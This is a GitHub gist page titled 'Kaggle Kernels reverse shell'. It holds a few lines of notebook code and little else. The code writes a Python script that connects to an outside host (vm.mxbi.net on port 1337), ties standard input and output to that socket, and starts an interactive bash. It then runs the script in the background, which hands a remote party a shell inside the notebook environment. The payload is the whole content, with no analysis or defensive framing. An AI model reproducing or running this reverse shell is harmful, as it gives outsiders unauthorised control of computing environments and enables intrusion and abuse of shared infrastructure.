Skip to content

Instantly share code, notes, and snippets.

@mxbi
Created August 16, 2018 14:50
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save mxbi/c3793c226ad0d49aa2dfd7596fa98281 to your computer and use it in GitHub Desktop.
Save mxbi/c3793c226ad0d49aa2dfd7596fa98281 to your computer and use it in GitHub Desktop.
Kaggle Kernels reverse shell
!echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vm.mxbi.net",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' > shell.py
import subprocess
subprocess.Popen(["python", "shell.py"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment